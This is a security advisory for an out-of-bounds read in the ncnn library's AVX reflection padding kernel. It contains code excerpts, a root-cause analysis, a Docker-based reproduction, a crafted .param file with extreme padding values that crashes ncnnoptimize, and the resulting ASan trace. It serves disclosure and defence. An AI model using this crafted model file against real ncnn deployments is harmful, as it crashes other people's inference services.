Out-of-Bounds Read in AVX Reflection Padding
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/padding_pack8.h:157 in padding_reflect_pack8_avx
Sanitizer verdict: SEGV on unknown address 0x50fffffffa40 (pc 0x5832cf403a2a bp 0x7ffe40d7e2f0 sp 0x7ffe40d7df80 T0)
Summary
A Padding layer configured for reflection mode with a huge left and a compensating negative right makes the x86 AVX pack8 kernel load 32-byte vectors from addresses gigabytes away from the source channel, terminating the process. The entry point is ncnnoptimize, which loads the crafted .param file and runs every layer through ModelWriter::shape_inference(); the same code executes in any inference application on an AVX host. The demonstrated impact is denial of service — the faulting instruction is a load, and no overwrite is shown.
Detail
Padding::load_param() stores left, right, top and bottom verbatim from parameter keys 0-3 with no range or sign validation. Padding_x86::forward() then derives the output size by plain addition and, for a pack8 rank-3 tensor in reflect mode, hands the raw padding counts to the AVX helper.
// src/layer/x86/padding_x86.cpp:271
if (dims == 3)
{
int outw = w + left + right;
int outh = h + top + bottom;
int outc = channels * elempack + front + behind;
// src/layer/x86/padding_x86.cpp:305
if (type == 2)
padding_reflect_pack8_avx(m, borderm, top, bottom, left, right);
// src/layer/x86/padding_pack8.h:153
for (int y = 0; y < src.h; y++)
{
for (int x = 0; x < left; x++)
{
__m256 _p = _mm256_load_ps(ptr + (left - x) * 8);
_mm256_store_ps(outptr, _p);
outptr += 8;
}
padding_reflect_pack8_avx() is written on the assumption that 0 <= left < src.w: it mirrors each row by indexing backwards from the current position and never compares left against src.w.
The PoC feeds a 1x1x8 tensor — one pack8 channel, 32 bytes of payload — into Padding pad 1 1 relu_out out 0=0 1=0 2=2147483600 3=-2147483590 4=2 7=0 8=0. The two padding values cancel in the size computation at line 273, outw = 1 + 2147483600 + (-2147483590) = 11, so top_blob.create() succeeds with a small output and the layer proceeds into the helper with left = 2147483600 against src.w = 1.
Two things then go wrong at line 157. The loop trip count is left, over two billion iterations for a one-pixel-wide source row. And the offset expression (left - x) * 8 is evaluated in int: 2147483600 * 8 overflows immediately, so the byte offsets sweep a roughly ±8 GiB window around the 32-byte source channel rather than staying inside it. The aligned 32-byte load faults on the first offset that lands on an unmapped page — the SEGV on 0x50fffffffa40 in the trace below.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-read-in-avx-reflection-padding && cd ncnn-poc-out-of-bounds-read-in-avx-reflection-padding
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 relu_out 0=1 1=1 2=8
Padding pad 1 1 relu_out out 0=0 1=0 2=2147483600 3=-2147483590 4=2 7=0 8=0
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x50fffffffa40 (pc 0x5dba9a761a2a bp 0x7ffc1bc48d30 sp 0x7ffc1bc489c0 T0)
==1==The signal is caused by a READ memory access.
#0 0x5dba9a761a2a in _mm256_load_ps(float const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avxintrin.h:881
#1 0x5dba9a761a2a in padding_reflect_pack8_avx /ncnn/src/layer/x86/padding_pack8.h:157
#2 0x5dba9a778290 in ncnn::Padding_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/padding_x86_avx512.cpp:306
#3 0x5dba9552ef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#4 0x5dba95520b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#5 0x5dba955809e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#6 0x5dba954123c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#7 0x5dba9548feee in main /ncnn/tools/ncnnoptimize.cpp:2844
#8 0x7fc58e1651c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x7fc58e16528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x5dba9540f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/13/include/avxintrin.h:881 in _mm256_load_ps(float const*)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst